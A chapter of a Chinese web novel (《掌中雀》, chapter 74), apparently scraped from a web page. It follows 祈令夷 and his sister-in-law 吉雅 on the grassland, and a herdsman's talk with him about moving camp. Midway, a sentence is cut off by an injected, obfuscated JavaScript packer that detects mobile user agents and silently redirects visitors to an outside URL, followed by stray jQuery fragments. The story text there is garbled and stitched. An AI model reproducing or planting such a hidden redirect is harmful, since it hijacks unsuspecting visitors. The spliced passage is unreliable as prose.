74.第 74 章
作品:《掌中雀》 “以前的我,对你好吗?”祈令夷又问了次。
带着些许期待和忐忑,他想要记起从前,想要将两人的过去拼凑起来。
吉雅捻着手指思忖许久,好似从回忆中挑拣些无关紧要的碎片给他,嗫嚅着开口。
“我记得我第一次见你,草原上正是沙棘盛放的时候,漫山遍野的黄花铺满眼下。你见我第一眼时十分疏离,反复打量了我很多次,自那时起,便再不正眼瞧我。”
祈令夷紧皱着眉头只觉得荒唐,即便是叔嫂不和也不至于因区区一面定人品性,曾经的他,听上去完全就是个混蛋。
刚要开口再多问上些细节,只听她波澜无惊的语调缓沉,将往事徐徐道来。
“后来,你受了伤,伤口反复生疮不见好转,我为你求医问药,屡屡示好,才叫你对我改观一二,许我在你身边照顾。”
他抚着胸前,心口那处确实有一道狰狞伤疤,这些年已经淡了不少,却还是在他生命里留下了印记。
她从前也是一样在乎他,即便知道他本性冷漠,依然不畏艰辛试探着靠近,将他从生死边缘拉了回来。
这样说,他已经欠了她两条命,如此又该用什么才能偿还呢?
“有一次我去求药路上,突逢天降大雨,你怕我在路上遇到危险,硬是拖着病体在雨中找我。雷声隆隆,天河倾覆,我吓得只能跪求神明保佑,却在微弱的光芒中看到了你。”
“叩拜再多神明皆无用,他们只能听我祈求,而你却真切的来到了我身边,自那一刻起,我们之间再无隔阂。”
她像是兀自陷入到了自己的回忆里,那些散碎的美好过往,仅仅是回忆,也要撩拨心弦,在她脸上牵起笑意。
原来一直都是她用尽气力灼灼以求,祈令夷没想到,像她这样的妍丽之姿,竟然需要费尽心力才能得到曾经的他些许优待。
而她这样做的理由又是什么呢?为什么往事里一概没有哥哥的身影?
是因为哥哥对她的苛待,才叫她只能转移注意,移情在自己身上吗?
他心底俄而滋生出些不像话的期盼,若是哥哥真的对她不好,两人间的关系又是她先撩拨的。这样看来,她早已经把心许给了自己,他们之间才是真正的郎情妾意,同哥哥早就没有什么关系了。
祈令夷展臂将她环在胸前,垂头磕在她肩上,默默念道。
“我明白了!”
蓦地,吉雅自回忆中醒来,听闻他这句明白了有些错愕。
他明白什么了?
“我是想说……”吉雅挣开他的手臂,摸索着靠在梁柱脚下,“自那以后我们叔嫂的关系缓和不少,你也再不刁难于我,咱们之间后天培养出的情谊,比之亲兄弟更甚亲近!”
说着亲近的如同一家人,她的大半身形却都掩在梁柱之后。
男人没动,一只手还搭在她刚刚离去的位置,触摸她匆匆离去时留下的温暖。
他脸上的笑意隐去大半,显得整个人冷肃严厉,只可惜躲着他的女子瞧他不见,自然也看不到近在咫尺的危险。
场面莫名的僵持住了。
吉雅也在静谧中寻到这一丝不对劲,她手指搭着乌木缓缓绕到后面,不敢与他对视。借着椽柱遮挡愁苦的咬着唇,却不知道该说什么,才能让他心绪平和不要生气。
她早就计划好了往后的生活,在这算计中却并没有他。
他的身份摆在那里,叫即便还心有情絮的人,无论如何也不敢向他开口。
两个彼此牵扯纠缠的倔强性子,断不能叫对方离开自己,但同时也不想违逆本性失去自由,如此两相纠葛中总有一方将要落败,而吉雅无论怎么看,那个最终妥协的都会是自己。
她实在不喜欢明争暗斗,尔虞我诈的京城,更不喜欢一举一动,一言一行都被人监视看守的皇宫。但偏偏他在那里,于是吉雅也只能费力的,从生命中最重要的两样里舍去其一,而显然,情爱之于匆匆岁月而言,是可以被舍弃的那个。
头撞在柱子上,不断磕响咚咚沉声,她心内未尝不因如此选择椎心泣血。
但她太害怕了,害怕回到曾经那个看不见边际的四方院子,害怕宫内森严的规矩警斥她又有哪处做错。
她最害怕的,是肚子里尚还未成型的孩子将要面对的一切,她怕孩子还未长大已经成了下一个祈令夷,年年月月苦心钻营,心里的只有维护地位,渴求皇权,为了权柄牺牲自己亲近之人也在所不惜。
若是她养出了那样的孩子,她甚至难以慰藉死去族人的在天之灵。
她琢磨着,苦思着,想从其中选出一个两全之法。
俄而,一只宽大的手掌横亘在椽木与她之间,轻易接下了她反复自虐的动作。
吉雅只听到他低低的垂下头,在她脑后微微的一声叹息,他握着她的肩,略略收紧却在将要靠在怀中的时候突然放离。
“回去吧!天热,能安稳睡下的时候不多。”
吉雅不置可否离开他的毡房,向回走的路上,听见身后故意放轻的脚步,刚刚升起来的坚定信念又被动摇。
她也很想把他留在这里,哪怕从此再也不提往事,只要有他陪着,有他这样亦步亦趋的跟在身后,无论去往哪里她都能平静心安。
但是,那样做的吉雅难道不是自私的剥夺了他的整个人生?
她不知道了,又重新陷入困惑。
——
自二人彻夜谈心,整整十来天不曾好好坐在一处说上些什么,他亦是不用她半夜爬起来在外闲逛,主动送了各样的熏制肉干,干果肉脯在她房里。
这下好了,吉雅便是想去主动缓和关系也没了借口。
草场里看管牧羊和马群的汉子中间回来过一次,拿些吃食和补给,又要前往草场。
阿真的哥哥回来,见自己妻子又没了踪影,顿时黑了整张脸。
“古兰又回娘家了?”
阿真自然不能撒谎,可哥哥嫂子之间的事,她也不想过多掺和。
“古兰姐说家里有事叫她,已经走了大概一个月了。”
巴图和坦面上挂不住,那张本就黝黑的憨直面孔强忍不住,显露怒意,大步流星的走到马前,将布裹甩在马背上。
自古兰嫁来也已经有一年半,可她这妻子当得实在不称职,每每他出场放牧不在毡包,她那颗收不住的心很快招引着她往家赶,而两人新家这边的闲杂琐事她是一概不管。
自己也算是对她有求必应,也无需她做什么劳力辛苦的难事,只是待在这里等他回来,仅这一件也不能守约!
巴图紧拧着眉,又看到正在一边挑拣香料的盲女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255996|156156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她一个后来的,甚至比她还不能适应的中原女子,如今在这里生活的好好的,一点也未有排斥的意思,眼上有疾根本没挡着人家做些力所能及的事情,如今相处和谐,从穿着到语气,阿雅才倒像是他们本族的姑娘。
眼盯着女人一刻不错的走神,在外人看来更像是为皮相所迷,难以招架。
有人注意到这边的不寻常,身量极高的男子走到他面前,轻易挡去了他定定追视的目光。
祈令夷也不曾责怪于他,毕竟世人无论几何,追逐美好实乃天性。
然而他这一次却估量错了,巴图收回视线拧着眉,也不像是被抓包的尴尬掩饰,反而面对近乎于陌生人的他突然感慨了一句。
“女人真是世上最难哄的东西,想要的也给了,却偏不肯说明白,她到底在想什么?”
祈令夷未曾料到他竟然会同自己聊这些事,不过他也确实有此同感,不着痕迹偏头瞧向那边与人调笑的娇靥。
她亦是如此,叫人辗转反侧猜不透所想。
两人皆因女子闷愁,心绪倒是在此刻有了些共鸣。
祈令夷不禁苦笑着摇摇头,同他说起迁动毡房的事,“如今牧场离毡包越来越远,是不是该到了迁离此处的时候?我见这几天来雨水增多,毡包离河岸过近,若是山洪倾泻恐有危险。”
巴图谈到正事严肃起来,瞧了瞧天色,又在指尖算上一算,确实到了雨季是时候搬离此处,下一个移居之地早已经找好,甚至早前用火烧过一遍,将营地范围划定。
他正想提及此事,没想到这位面白的郎君不像印象里那么无所事事,知道计划筹谋防患于未然,也知道预测天象,是个值得托付的好手!
他大笑着毫不拘束,上前拍着他的肩膀笑道。
“你比我想得齐全,我本还计划再晚些搬走,但听你说起这几日的天气,倒也同往年不一样,若是真有洪涝,咱们还是早些行动的好。”
巴图同他商量了好一会儿,终于将搬迁这件事的时候敲定,对他这人谈吐不凡,做事妥帖又有了新的认识,更不要说听闻他将自家嫂嫂照顾的也很好,是个体谅女子的温柔郎君。
思及这样一个稳妥汉子至今还没有成亲,巴图想着,撺掇起人来,问他心里有没有合适的对象。
然而他哪能说自己早有觊觎,那人就在不远处,什么都不知道的天真傻笑。
自己只能咽下这份苦涩,同巴图大哥说不曾有过。
巴图当然不会放过这个好机会,一边挑着下巴一边难掩激动,叫他把视线望过去,不远处正弯着腰和姐姐们说话的阿真,露出的笑颜纯真甜美,更是正值妙龄的清婉年纪,同他相配岂不合适?
然而循着他指示看过去的祈令夷,目光之下只能瞧见一人。
她婉笑着不曾多言,只是时不时的搭上两句,手里捻弄的崖柏木片搁在鼻尖嗅闻成色,平常仅是一点异味都承受不住,如今为了能帮上忙,连自己的身体也不当回事。
祈令夷遥遥看着,忽而生出后悔。
“我说错了!我有在意的人,只是现在,她还不愿意接受我。”
巴图分外困惑的随他视线一同瞧过去,然而那边妇人们围圈坐在一起,唯一一个不曾婚配的只有阿真。
除了她,四郎还能瞧谁呢?